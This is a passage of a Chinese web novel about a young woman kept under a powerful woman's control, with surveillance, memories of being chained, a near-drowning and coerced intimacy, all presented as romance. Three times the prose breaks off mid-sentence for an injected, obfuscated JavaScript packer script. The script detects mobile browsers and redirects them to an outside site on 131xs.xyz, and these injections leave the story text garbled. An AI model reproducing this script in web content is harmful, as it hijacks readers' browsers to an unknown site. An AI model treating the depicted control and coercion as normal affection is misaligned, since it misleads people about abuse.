裴挽棠整个人压过来,眼神嘲讽且冰冷:“我要一家赔钱的书店干什么?嫌寰泰的事儿不够多,还是嫌钱赚得太容易?还是你觉得,你配我为你买下一家书店?” 那不可能。 打死都没可能。 何序几乎是毫不犹豫否定了裴挽棠所有的反问。 可是两年零四个月,一共84副拼图,书店员工不止没收过她一分钱,还会按时按点按量给她送餐食水果,对她异常客气,她想不到什么合理的原因来解释这点。 唯一觉得能说通的是:再想掐死的鸟,在彻底厌恶之前都还是要适当地喂食喂水,勉强吊着它的性命。 她是那只裴挽棠想掐死的鸟,猫的星期八是裴挽棠喂给她的水和食物。 这不能叫她配裴挽棠为她买下一家书店,只是彼此心照不宣的相处法则而已,她始终遵守,裴挽棠现在却不肯承认。 无声的对视在廊下碰撞,暗涌深流,裴挽棠仿佛实质的目光划破空气,直逼何序。 何序后退了一步。 “拼图没收钱。” “所以呢?” 裴挽棠猛地握住何序后颈,把她推到能映出人影的玻璃窗前,逼她看着里面的人:“你难道不觉得不收钱是因为你这张脸?好好看看它,你不是最擅长利用这张无辜的脸,让别人为你想要的东西买单?” 何序:“……” 太久没听裴挽棠说过带有羞辱意味的话了。 以前可比这难听得多。 何序还以为自己早就麻木了,接受了,忘记了那种尊严被踩在脚下碾的感觉,如今陡然被扯下虚假的和平,看着玻璃中满脸死气的自己和目露嫌恶的裴挽棠,何序忽然感到一阵窒息的冰凉,仿佛有一根坚硬的铁丝密密匝匝缠上心脏,没收她的呼吸,打破她的冷静,还企图暴力拆解她脑子里那片已经格式化了的记忆硬盘。 陈年旧事趁机涌出来。 “你这么处心积虑,想要什么?” “看看,多无辜的一张脸,多让人作呕。” “可惜了,我挑,我不是什么心脏的东西都会往床上带。” “滚出去!” “你真让我恶心。” “何序,你是不是想死?!” …… 更多,更愤怒的声音刺入迟滞神经之前,何序急促地呼吸了两口空气,用力挣开裴挽棠:“对不起,我不要了。” 拼图不要了,拼图里的花海和自由也不要了。 这些东西本来就不该是她的。 何序掏出口袋里的拼图碎片,毫不犹豫扔进台阶下的草地里。她是真的意识到自己今天把裴挽棠堵在这里是好了伤疤忘了疼,得意忘形了,在竭力补救。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560027|171370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拼图碎片没入草丛那瞬,裴挽棠却是唇角下压,连已经掀开了暴风雨一角的目光都陷入静默。 “不要?” 压迫的脚步声一寸寸逼近何序。 何序身后是廊柱,退无可退。 “我……” “因为能给你新拼图那个人出现了?” 何序有些仓皇地抬起眼睛,不知道裴挽棠话里什么意思。 “她除了拼图也会给你钱?” “……” “你想怎么谢她?” “我……” “随便找个人代一句‘谢谢’就完了,还是对她特殊照顾,既在桌上笑脸相迎,又在路上投怀送抱?” 裴挽棠最后这句场景太过明确,何序立刻意识到她话里指谁——谈茵。 她这几年的生活虽然没恐怖到像一个巨大的楚门世界,一举一动都由裴挽棠掌握,可若是出现偏差,裴挽棠也必定会第一时间知道,比如走远了,比如吃少了,比如不睡觉,比如不去书店…… 这些偏差裴挽棠觉得好了就由着,不好了就调整,专制而强硬,她跟她时间长了,能受得了,可谈茵无辜,不能因为她惹怒了一个人受到牵连。 “我们只是偶遇。”何序语气里带着她没有察觉的急迫,听着像是维护,“今天一起去看了老师,吃了顿饭,没有别的。” 裴挽棠:“是吗?” 保镖的邮件,霍姿查到的何序最近几天的动态里可都不是这么写的。 昨天在书店,何序离开后,谈茵情真意切摸了她的拼图十三秒; 今天在餐厅,她们肩并肩坐,面对面笑; 下午逛街,有人的眼睛几乎全程没离开过何序,分别时更一步三回头,何其恋恋不舍。 这叫没有别的? 没有别的,急什么? 没有别的,领口属于第三者的香水味为什么浓得刺鼻? 裴挽棠手抚上何序衣领,轻轻一拨,何序立刻身体绷紧,双手发着细微的抖。她以前不是这样的,即使被当面看穿谎言,当众揭穿嘴脸,也脸不红心不跳,不见半点心虚紧张,甚至会更加殷切地讨好,更近距离地靠近,让人烦不胜烦。 现在真是学乖了,知道进退了。 可看着,怎么比从前更加可恶。 裴挽棠手向下滑,经过何序锁骨,握住了她的手臂:“何序,我是不是说过,别再让我从你嘴里听到一句谎话?” 何序:“我没,啊!” 何序开口的瞬间,裴挽棠手下陡然用力,近乎拖得将何序拉进了屋里。 何序脚下踉跄,混乱视线看到裴挽棠走路比之前跛得厉害,步速却一秒比一秒快,将她拖上二楼,直直往东边走。 何序看着那个方向,记忆黑洞被轰然打开,透着无人的死寂,无声的恐怖,听觉变成真空,触觉出现延迟,踝骨被锁链磨破,神经被空白斩断。不可名状的恐惧感席卷而来,何序一把抓住护栏,好像又回到了那个怎么都逃不出去的房间,惊恐得语无伦次:“求你了……裴挽棠……求你了,不要锁着我,我什么都听你的……我……” 带着哭腔的求饶声在二楼反复,眼泪大颗大颗摔在地上。 裴挽棠掰开抓着护栏的手,将何序抓到自己身前:“不许哭,你有什么资格哭?” 裴挽棠弯腰把何序抱起来,无视她的抗拒和恐惧,大跨步走进露台,将她扔进了泳池深水区。 何序水性很好,这里也不是她恐惧的源头,不是那个终日无人无声的房间,她清醒过来,落水第一时间开始自救。 刚找到平衡,就被人掐着腰推在了池壁上。 裴挽棠游过来,抓住何序的双手扣在身后,一边扯她沾染了陌生香气的T恤,一边粗暴又直接地吻过去。 何序舌尖被咬破,喘不过气,眼底泛着红的水光融入水里,只剩衣不蔽体的狼狈和铺天盖地的窒息。 何序断断续续发出声音,模糊看到面前的人闭着眼睛。 她还和从前一样好看。 比从前更见不得她。 何序胸腔里极度缺氧,被扣着的双手渐渐无力,精神开始涣散,眼前浮散的长发和熟悉又陌生的冰冷眉眼慢慢变成浓重的阴影。 彻底失去意识之前,何序身体蓦地一轻,跌入一个带着微薄热度的怀抱。 那怀抱很紧,她被抱着迅速往上浮。 氧气灌入胸肺的瞬间,她趴在地上咳得撕心裂肺。 “咳咳!咳!咳……” 裴挽棠站在旁边居高临下:“回房间还是在这里?” 咳嗽声中断一瞬,很快被本能驱使着更加剧烈。 何序说不出来话,撑在地上的右手缩了缩,一点点伸向裴挽棠,抓住了她的裤脚。 浸满水的外套从头顶罩下来,遮住身体,卧室亮起灯,再是卫生间的。 之后两个小时,何序被裴挽棠极具侵略性的香水味从四面八方包围着,双手在瓷砖上压得指节泛白。 4. 第 4 章 【上章末尾增加了1500字,没看的宝儿请先小跑去看,看了的请直接从下行开始】 结束,何序照旧被扔进浴缸里泡一泡,洗一洗,擦干净了上床睡觉。她全程没有太多意识,迷迷糊糊靠着什么东西,那东西把她拨哪儿她就倒哪儿,累得呼吸都有气无力。 后半夜,何序突然做起了梦,身体紧紧蜷缩着,手抓着被脚环禁锢的脚踝,身上一层接一层出汗,那些明明已经格式化了,今天毫无征兆被庞靖提起,被裴挽棠误导的记忆卷土重来,在她脑子里横冲直撞。她怎么都醒不过来,又恐惧又急躁,拼命想找一个逼仄但安全的地方钻进去,躲起来。 寂静的夜变得不再安生。 裴挽棠总是深藏不露的目光在黑暗里空白冷淡,望了一会儿虚空中难以聚焦的某个点,抬手拍拍何序的头,从身后抱住了她。 早上何序醒来,看到自己被和抱枕一样抱着,被迫缩在裴挽棠怀里的时候,才知道自己又做梦了。梦到裴挽棠不厌其烦地摸她的头,安抚她,梦到她折在她身前的手臂不断用力,像是要把她抱进骨头里,还梦到她说,“睡吧,不锁你。” 也就是做梦了。 一旦醒来,这个人对她就只剩下冷言冷语的嘲讽和蚀骨焚心的恨。 裴挽棠昨晚有气,折腾得狠,时间又长,何序这会儿眼皮一低,困意立刻就回来了,昏沉沉维持着缩在裴挽棠怀里的姿势很快睡了过去——缩着腿,埋着头,裴挽棠睁眼就看到白白一截脖子,上面覆着她的吻痕,留着她的香气,画面变得不再扎眼,空气也不再刺鼻。 裴挽棠绷了一晚上的嘴角慢慢松开,凉薄眼神称得上柔和,甚至都有些……温柔了。 只是埋头的人和垂眼的人都没有发现。 何序再睁眼又是上午十点,房间里只剩下她一个人,她摸了摸在泳池里憋气太久,有些疼的喉咙,发现身上的痕迹又多了,一块一块放不下似的延伸到脖子里,T恤快遮不住。 何序跑到衣帽间里翻箱倒柜半天,找出件日光黄的帽衫套着,下楼吃饭。 胡代深知何序的生物钟,已经准备好了饭菜,抬头看到她今天的打扮,准备收回的视线又投过去一眼——何序刚满二十五,年轻,脸看着嫩,五官和骨相生得也温润柔和,穿这颜色正衬年纪,不像有的小姐,还不到三十三就成天一身黑了。 “何小姐早。”胡代向何序问好。 何序喉咙疼,没怎么说话,也没什么胃口,看着盘子里深红饱满的樱桃走了神。 她昨天没感觉错,樱桃数量就是多了,个头就是大了。 肯定是胡代调的。 胡代敢动她的食物必定有裴挽棠授意。 而裴挽棠会这么做,无非是和拼图一样,适当地给她撒下饵料,吊着她的性命,否则谁来承受她漫天的恨。 她这几年思考得太少了,对朋友张口就是过得好,实际不过唾面自干听人穿鼻的墙头草,哪里好过往哪里倒。 这是她的悲哀,还是活该? 现状太经不起深究,心脏会被无形的石头坠着往低处走。 不过,既然知道是活该,下次就不能怕,不能哭,不能像昨晚一样,还没碰到伤疤就理智丧失,无法控制自己的情绪。 何序想着想着喉咙更疼了,热粥滑过像针扎,她咽也不是,吐也不是,身上更是乏软无力,做不出什么大动作缓解。 顿了顿,何序闭着眼睛把头往桌子上磕,想让粥自主流回口腔晾着。 预想的磕碰声没有出现。 何序睫毛轻颤,感到一只手接住了自己马上要碰到桌沿的额头。 那手很热很软,手的主人声音很冷很硬:“别让我在家里看到你这副半死不活的样子。” 何序立刻听出这是裴挽棠声音,但都这个点了,她怎么还在家? 何序来不及多想,忍痛把粥咽下去,睁开眼说:“好。” 然后坐起身。 贴在桌上的那只手五指自然回拢,微微一顿,手指蜷进掌心里,从何序眼尾滑出去。 何序被粥烫的双眼微湿,眨了眨,发现刚还在桌垫上的叉子突然不见了。 何序疑惑地在桌上找,她身后,裴挽棠沉着脸把支叉子扔在了胡代身上。 胡代稳稳接住,没发出半点声音。刚才是她大意了,差点让何小姐一脑袋磕叉子上。 “何小姐,今天是我疏忽,忘记摆叉子了,请您稍等片刻,我马上去拿。”胡代手挡着叉子说。 何序:“忘记摆?” 那她刚看到的是什么? 眼瞎了,还是幻觉了? 胡代面不改色说一句“是的”,快步离开餐厅。 何序瞄她一眼,百无聊赖地用勺子搅着热粥,看到鹭洲极负盛名的骨科医生佟却正在快步上楼。 那就难怪裴挽棠这个点还在家了。 她接下来两天都会发着烧,疼着腿,待在家里办公。 那她也就不能出门。 所以饭后,何序来了地下的影音室看“小瓦力,大人生”。 已经是能倒背如流的电影,何序看得不太走心,手有意无意摸着脚踝上的皮环和皮环下面淡不可察的伤疤。 火烧一样。 何序动作仓促地把裤子放下去,手在沙发底下摸了摸,摸出来半盒烟。 ———— 十二点半,胡代敲开书房的门,提醒三餐规律的裴挽棠可以吃饭了。 裴挽棠从堆成山的文件上挪开视线,吃过退烧药,抬眼看向胡代:“她人呢?” 老鼠一样,白天永远不在人前活动。 胡代说:“影音室。” 裴挽棠:“两个小时了,动画片还没看完?” 胡代:“看完了。” 裴挽棠:“那还待那儿干什么?” 胡代:“抽烟。” 裴挽棠:“……” 笔被扔在桌上。 裴挽棠眸心墨黑:“抽什么?” 胡代:“烟。” 裴挽棠:“哪儿来的?” 何序一没去过烟酒专柜,二没人往家里带这东西,她哪儿来? 裴挽棠的怒气露出端倪。 说话向来不卡壳的胡代难得组织了片刻语言才说:“我的,前阵子打理后花园的时候随手放在桌上,被何小姐顺走了。” 真是顺。 胡代清清楚楚在监控里看到何序不经意从桌边经过,她的烟就不见了,她用词非常精确,就是不知道听的人怎么想。 胡代毕恭毕敬站在书桌前等裴挽棠发话。 书房里头安静了一会儿。 裴挽棠说:“什么烟?” 这问题超出了胡代能想到的所有话题方向。 胡代微抬了下眼,说:“随便在便利店买的,您不一定听过。” 不还是有人费心去顺? 裴挽棠眼神冷得慑人,起身往出走的时候,胡代感到一阵寒风从自己身边经过。 下午,何序就从在影音室发呆变成在裴挽棠书房发呆,里面温湿度适宜,光线不昏暗也不刺眼,亮得恰到好处,还有应季的水果、甜品供应,绝对是个令人享受的地方。 何序却提不起太大兴致。 往前几年,她其实经常和裴挽棠二十四小时待在一起,不会有任何不适,现在超过二十四秒,她就开始觉得时间漫长。那时间一秒一秒走,把她身上本来就不怎么充裕的劲头都拖没了。 裴挽棠打完电话抬头,看到何序没精打采地捏着水果叉,把颗樱桃戳得汁水横流,果肉外翻。 裴挽棠嘴角微不可察地提了一下,还没显现出弧度和情绪,何序忽然抬头看过来。她这个动作完全是无意识,视线对上裴挽棠的瞬间,瞳孔深处的几缕光线迅速退却,视线回收,叉子被规矩地摆回原位。 裴挽棠: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560028|171370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 书房里的气氛凝重起来,如有重量。 何序不抬眼就知道裴挽棠一直盯着自己,她的表情肯定不好,眼神也差,持续发展下去,她今晚肯定又不会好过。 但没有一点办法。 静默之间,裴挽棠开了口:“水果是用来吃的,不是给你当玩具玩。” 何序听着裴挽棠往下走的声音,心说果然,她不高兴。 何序看了眼那颗让人食欲大减的烂樱桃,伸手去拿,打算把它吃掉,好让裴挽棠消气。 刚要碰到,裴挽棠手机再次响起来。 裴挽棠按键静音,说:“出去。” 何序动作顿住,不确定自己是不是听对了,一个多小时前,让她上来见见光的人是裴挽棠,现在让她出去还是裴挽棠。 可能看烦了吧。 不止是现在的她不习惯和裴挽棠共处一室,裴挽棠也极为厌烦她这张脸。 何序把烂掉的樱桃拨进手里,起身离开。 外面阳光大好。 胡代正盯着园艺师往后花园移植新的花草,何序认不出来品种,但确定一定价值不菲——裴挽棠的东西都贵,比如不远处那条一阵子不见就突然冒出来的清水河。 何序洗了手,搬把椅子过去河边坐着,身上匮乏的劲头渐渐被活水推回到身体里。 不久,胡代走过来添砖加瓦:“何小姐,书店的人刚才打电话过来,说拼图找到了。昨天是新员工值班,错把拼图收拾去了库房,这才闹出误会。书店那边已经道了歉,正让人把拼图往过送,您很快就能收到。” 胡代一番话说得煞有其事,很让人信服。 何序听到东西失而复得,第一反应肯定高兴,转念想起裴挽棠昨天说的“不配”和被她扔掉的拼图碎片,喜悦冷却下来,说:“让她们不用麻烦,那副拼图已经拼不起来了,送过来没有意义。” 胡代:“人已经在路上了。” 工作日的路好走,过不久恐怕就到了。 胡代:“小店员也挺紧张的,善不了后,她可能工作不保。” 现在工作不好找,裴挽棠裁人不眨眼。 何序皱起眉,片刻,拖着椅子说:“那让她送吧,我先回去了。” 胡代上前一步:“椅子我拿。” 何序没坚持,提步往家里走,青石板的小路上越走越快,直扎进前院草坪。 没错啊,拼图就是扔在这里的,怎么找不到? 胡代今天又没清理,园艺师也是在后院忙,能去哪儿? 何序蹲在草坪里找了两个来回,还是一无所获,心里被胡代几句话激起来侥幸渐渐沉甸下来,觉得果然还是不该对那些微茫虚妄的事情怀有期待。 何序拍拍手上的草屑,站起身来。 院里春风柔和也吹得树叶沙沙作响,有片绿了一个冬天的阔叶摇曳着下落,从何序眼尾闪过。 何序本能偏头看过去,发现原本干干净净的草上多了一小片白色。 不正是她在找的拼图碎片! 何序一时间喜上心头,昨天仓促的保证,今天侥幸的期待被统统抛到脑后,她迅速弯腰将拼图拾起来,往门口走,丝毫没发现正上方二楼书房的窗户不知道什么时候被打开了,窗边靠着个人,左手拿着电话在听,右手搭在窗边,其中食指、中指保持了一会儿扔东西时主动外展的姿势后自然回拢,转身回来书房。 “裴总,拼图已经彻底清洗了,这个时间应该刚好送到您家里。您还有什么吩咐?”霍姿说。 裴挽棠:“去查谈茵,我要知道她和何序过去所有的交集。” 霍姿:“明白,我马上去办。” 电话挂断,书房外传来隐约脚步,带着按捺不住的雀跃,走在楼梯上,很快从书房门口经过。 裴挽棠看着门口方向,过了数秒,打电话给胡代:“备车,我去趟天和国际。”鹭洲最高端的商场。 5. 第 5 章 天和国际在绕鹭洲半圈的另一个区,车程不算短,裴挽棠一路上会议不断,穿插电话,忙碌程度肉眼可见。 司机在前面听着,不禁好奇她为什么要在百忙之中跑来这么远的地方,以她如今的身份身价,没什么是必须亲自来买的,只要她开口,不知道有多少人抢着想把东西往她跟前送。 当然,这话司机只敢想想,不敢真问,到了车库,司机快步下车绕到后排帮裴挽棠开门。 裴挽棠:“你不用跟着。” 司机:“好的。” 司机双手交叠放在腹部,目送裴挽棠打着电话朝电梯方向走。 “叮,一楼到了。” 裴挽棠对会议那头的一众人说:“我静音十分钟,你们继续。” 话落,裴挽棠点下静音键。 耳机里的声音继续。 裴挽棠目不斜视走进一家店,导购看到她的长相后一愣,连忙在群里@店长:【寰泰裴总来了!】 消息发出去不超过十秒,店长就出现在裴挽棠旁边,殷切地询问她需要点什么。 裴挽棠垂眼看着展柜里琳琅满目的商品,片刻,手指点着其中一款说:“你们这里最好的师傅在背面手工雕刻一只兔子需要多长时间?” 店长:“得看图案的复杂程度。” 裴挽棠收回手,解开另一侧袖口,一只普通的银兔子吊坠用一根普通的编织吊坠绳挂着,缠在她手腕上。她解下来递给店长,说:“照着这个雕,不计成本,六点之前雕好。” 店长:“我马上找师傅确认时间,您稍等片刻。” 裴挽棠被请到贵宾室稍作休息。 不久,店长带着能接这活儿的师傅过来向裴挽棠讲解雕刻方案,裴挽棠靠着沙发,没说满意不满意,但付钱的时候,多给了师傅一倍的人工费。 之后就是等,贵宾室里各项设施一应俱全,且私密安静,变成了裴挽棠的临时办公室。 而何序,一方面沉浸失而复得的喜悦,一方面不想让裴挽棠发现拼图的事,躲在房间里绞尽脑汁藏东西,完全不知道她出了门。 等摆弄好,何序下楼喝水。 胡代已经从后花园回来了,在和负责洗衣熨烫的佣人交代几件衣服的清理方式。 看到她脚边掉落的钱包,何序步子顿了顿,绕着桌子过来。 钱包是裴挽棠的,可能没扣紧吧,掉下去的时候从中摊开,何序很容易看到夹在左侧的照片——一个年轻女人的背影,穿得很简单,模模糊糊拍在晚上,但仍然能看出她的漂亮。 裴挽棠的新欢? 不应该说新欢,说心上人好点。 新欢太轻浮了,不是配被妥善收藏在钱包里,随时随地带着的人。 那就对上了,裴挽棠好像是有了一个未见其人未闻其名的心上人。 去年冬天发烧严重,她意识不清的时候说漏的,当时紧抓着她的手,轻问那个人,“……我到底哪里不好?” 裴挽棠那么厉害的人,问那么可怜的话,只是基于反差,何序都记住了。 何序觉得嘴唇干,无意识舔了舔,扣好钱包放在桌上问胡代:“你们家小姐很喜欢她?” 胡代看钱包一眼,说:“照片一直在小姐钱包里。” 虽然答非所问,但何序还是理解到了想要的那部分:裴挽棠的确对照片里的人珍惜有加。 何序问:“她们会在一起吗?” 胡代没说话,声音从何序身后传来:“你希望我们在一起?” 何序一怔,回身看到裴挽棠小臂挽着外套往过走。她这问题不好回答,何序想了想,学胡代不说话。 裴挽棠把外套扔在桌上,俯视何序:“你有没有想过我们在一起了,你会是什么下场?” 没想过。 她这几年真的很少思考。 非要现在想的话,她觉得,裴挽棠不会那么轻易放过她,她会从一只无人知晓的笼中鸟变成一个见不得光的第三者。 何序张了张口,看着裴挽棠已经走远了的背影,忽然有些茫然,有些难堪,也有些无措。她花了很长时间才接受现在的身份,要花多久才能适应下一个更让她觉得羞耻的? “何小姐。”胡代端着水过来。 何序抬手接住,说了声“谢谢”,晚饭只吃到平时的二分之一。 九点半了,裴挽棠还在忙。 何序看完电影上来,看到客厅向来整齐的矮几上乱扔着一盒烟和一支打火机,看外表就知道很贵,肯定是裴挽棠的东西。何序便没动,也没疑惑一个只是闻见烟味都要皱眉的人怎么突然抽起它来了。 真的很难抽。 今天在影音室,她只抽一口就完全祛魅了。 何序拖着步子从矮几旁经过,坐到侧面的单人沙发上——烟和打火机在; 不久再次经过,进了厨房——烟和打火机在; 五分钟后第三次经过,上了阳台——烟和打火机还在。 十点,一道声音突兀地从头顶落下来:“何序。” 何序抬头,二楼的栏杆后,裴挽棠神色难辨。两人一个垂眼,一个抬眸,视线在空中交汇,过了一会儿,裴挽棠说:“要我请你上来?” 何序如梦初醒,立刻起身。 这是她第四次经过矮几,烟和打火机仍然在,甚至连眼神都和裴挽棠从手机监控里看到的如出一辙——像是没看到桌上的东西一样,目不斜视。 胡代和园艺师从外面进来,看到二楼阴着脸的裴挽棠,两人同时站定:“小姐。” 裴挽棠:“不要让我在家里看到烟和打火机这种东西。” “……”胡代视线扫过客厅矮几,再是垃圾桶里没扔的天和国际的购物小票,平声道:“好的,我这就收拾。” 裴挽棠的洗漱护理过程很繁琐,用时通常在一个小时以上,所以两人的作息一旦撞上,何序就会自动自觉抱着衣服去其他卫生间洗。她收拾得快,二十多分钟回来,卫生间里的水声才刚起。 “哗啦——哗啦——” 恢复安静。 裴挽棠现在应该在浴缸边趴着,脸朝左边侧,左手垂在外面。 何序在床边坐了一会儿,搓搓耳朵,拿出床头柜里的手机和耳机,出来阳台。 晚上风凉。 何序裹了条毯子,给手机充电。 何序没什么社交,手机里只存了家里的座机、裴挽棠的私人电话和霍姿的电话,平时还不太能用到。她去的地方很固定,该几点回家有人提醒,手机基本只当闹钟用。 何序记得最长的一次,应该有一个月没碰手机。 因着这个习惯的存在,她的手机经常处于没电关机状态,想不起来充。 今天屏幕一亮,竟然有电话进来。 何序一下子反应不过来,几秒后看清来电人姓名,才急忙拿起手机接听:“谈茵。” 谈茵笑着松了口气:“打你电话一天,终于开机了。” 谈茵即使语气从容,也藏不住内里的紧张。 何序抱歉地说:“对不起,忘给手机充电了。” “没事,不用道歉,是我唐突。”谈茵笑问:“现在方不方便说话?” 何序拧头朝卧室里看了眼,压着点声音:“方便。” 谈茵说:“明天有没有空?想约你去小竹山。” 小竹山上满山翠竹围出一渊深潭,有鹭洲闻名遐迩的自然景观。还在上学那会儿,何序看着谈茵手机里的照片,谈茵看着拿手机的人,说:“以后有机会,我带去你小竹山看深潭。” 何序那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560029|171370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候最喜欢绿色,喜欢自由自在的绿色。 现在她坐在卧室阳台就能看到小竹山,却始终没到过山坳里的深潭。 已经麻木了的心绪又一次因为老同学的话发生波动,何序听着卫生间里的水声,欲言又止。 谈茵说:“庞靖和程雪后天就走了,她们这一走不知道时候才能再见,就当是给她们送行怎么样?庞靖也想去小竹山。” 谈茵此话犹如蛇打七寸,何序只是稍加回忆庞靖和程雪对自己的好,就拒绝不了——她们曾经冒雨去便利店接她下班,放假守在宿舍照顾她生病,寒暑假返校的伴手礼永远有她一份,生日惊喜从未间断。 对时间停滞的何序来说,这些事好像就发生在昨天,全都历历在目,她同样没法说不。 何序握着手机说:“几点?” 谈茵:“还是九点。你住哪儿?我去接你。” 何序:“不用麻烦,我从家里过去有直达地铁,我们直接在山下碰头。” 谈茵:“也行,那就明天见了。” 何序:“明天见。” 明天裴挽棠还在家,她没有正当理由岀不了门。 何序纠结地回头看了眼卫生间方向,里面的水声连续响了一阵彻底消失,有人影从磨砂的玻璃门上一晃而过——裴挽棠洗完了,她想不好要怎么和她请假。 反复的衡量、否定在何序脑子里拉扯,她想得太投入,以至于忘了留意身后情况。 待裴挽棠一身整齐走过来解她睡衣扣子时,她下意识抓住裴挽棠的手腕,说:“我明天想出门。” 开门见山不一定好,迂回只会更差。 何序是在裴挽棠发梢上的水珠和雨点一样落下时,脑子里灵光一闪,忽然想起她不生气的时候,其实没有哪儿不好。 她挺好的。 以前听到新闻里说要下雨,即使身体很不舒服,也还是从卧室出来,告诉她说,“何序,不要乱跑。” 不过那已经是很模糊的印象了,何序不大确定那一幕是不是真的发生过,她只是想不到其他办法,所以硬着头皮试一试——讨好她。 把她哄高兴了,事情说不定就好办了。 何序想。 裴挽棠垂眸看了眼腕上被何序压住的痣,声音经过退烧药一整天的磋磨,少了冰冷,变得沉哑失真:“去哪儿?” 好像试成功了…… 何序来不及庆幸就要面临下一个问题:去哪儿? 肯定不能说和谈茵去小竹山。 说去书店却没去,不出半小时就会传进裴挽棠耳朵,也不行。 那怎么说? 何序深呼吸,捋了捋思绪,尽量维持声音的稳定,“去医院看老师。”她说。 还是撒谎了。 但这已经是她能想到的最完美的理由。 何序竭力隐藏着身上的心虚不定,很轻叫了一声:“裴挽棠。” 裴挽棠目光就落到何序脸上。 她有一双很复杂的眼睛,直接去看一个人的时候,会让对方觉得很深,你无法揣摩她的想法,但很容易被她看穿心思。 所以何序心里是慌张的。 但正如裴挽棠昨晚指责的,她有一张无辜的脸,也正如她对谈茵说的,她很擅长骗人,那谎言就能被妥善隐藏。 手还抓着手腕。 目光对上目光。 裴挽棠弯曲手指的时候,何序心里磕了一下,下意识松开她的手腕。 被抓在肩头位置的手忽然悬空,手指微动。 静默片刻,那只手缓缓下移,伸到何序喉咙处。 “……”何序仰着头,“?” 裴挽棠看着她眼睛,食指蹭了蹭着她经过一天休养,还是有点胀痛的喉咙,说:“明天安排人送你过去?” 6. 第 6 章 送会露馅儿,何序怎么敢答应,最后是靠比往日单纯的顺从多出好几分主动热情,才将裴挽棠的目光、动作和提议一起搪塞过去的。 那热情似乎让裴挽棠有一点满意,都已经结束很久了,她还低头在她脖子里没有离开,胸腔贴着她的胸腔,微微起伏着,呼吸略重略急,气息灼热。 她还在发烧。 何序被那气息反复灼烫,搭在被子上手动了动,静默许久,最终还是脑子空白地落回去,什么都没有做,也没敢催裴挽棠起来。 亲密但没有感情的拥抱又持续了很久。 何序被带去卫生间清理之前,脖子里突然麻麻痛痛的,裴挽棠拧开她的脸,在那儿咬.吻了好几分钟。 早上起来,何序一偏头,毫不意外发现了不采取物理方法,就不可能遮住的鲜明吻痕——很暧昧的东西,或许象征深情,那出现在她身上就显得尤为讽刺,被谈茵她们发现,还没法解释。 何序摸摸脖子,跑去偷了点裴挽棠的遮瑕。 吃完饭,何序直接出门,没和裴挽棠打招呼。现在是八点,裴挽棠开始工作了,对她那种极为有规划的人来说,任何形式的打断都是打乱。 何序上车之后先告诉司机去二院,待后视镜里的房屋变模糊,她立刻说:“师傅,不去二院了,去小竹山。” 师傅应下,在下个路口将方向盘一打,掉了头。 何序没准备,被离心率甩得一个趔趄,脚环上的红宝石重重磕在脚踝。 有点疼,心脏也跟着猛跳,莫名的不安升腾起来。 何序快速抬头看向后视镜——里面只有冒着新绿的行道树。 “……” 胡代把台阶上的一片绿叶捡起来,低声叮嘱扛着工具,准备去后花园倒腾的园艺师:“今天尽量不要发出噪音。” 园艺师不明所以,但还是不假思索的答应了。 胡代把落叶扔进垃圾桶,洗了手,上来二楼。 平时没人来的其中一间客房里,本该在书房工作的裴挽棠侧身躺着,双眼紧闭,脸色惨白,鬓角的冷汗打湿了发根,全然不见那个被人比作捧着青砖望高楼的上位者该有的强势模样。 胡代走进来说:“要不还是把何小姐叫回来吧,她——” “不用。” 胡代后半句“她在家里您会好过点”被打断,不放弃地劝说:“可是您这么硬撑着也不是办法。” “出去!” 不容置喙的命令,胡代只能遵从。 但在走之前,她弯腰把昨晚“收拾”了的打火机放在枕边触手可及的地方,兔子朝上。 很快门被拉上,里面沉得听不见一点声。 外面也静悄悄的,还没暖起来的春天像在遭遇能冻结万物的寒潮,让一切声音失去活力。 很局部的寒潮。 只需要转个头就能透过窗户看见的小竹山下,何序被庞靖抱了个满怀:“到底是小两岁哈,你老远走过来,我以为是哪个女大学生!” 何序悬了一路的心被热情抚慰,笑着抓了抓肩上的登山包,说:“过期五年的大学生 。” 登山包是何序临时在路上买的,里面装着水和食物,四人份,瞧着就沉。 谈茵从善如流接了庞靖的话:“她一直好看。”同时抬手,把何序肩上的包拿下来提在手里。 谈茵的动作太过坦荡自然,没给何序反应的机会,她愣了一下,脑子里快速闪过裴挽棠的脸,她那些关于谈茵的反问,还有一些模模糊糊分辨不清的历史画面。 何序深知不能再闹误会。 她今天还是撒谎出来。 不管哪一样败露都是麻烦。 何序在谈茵提步要走之前,拽住背包的另一边肩带说:“我自己背吧,你东西也不少。” 谈茵转头笑道:“全部加起来也没你几瓶水沉。” 何序抿着嘴唇,没有松手。 她有时候固执,这点谈茵深有体会。 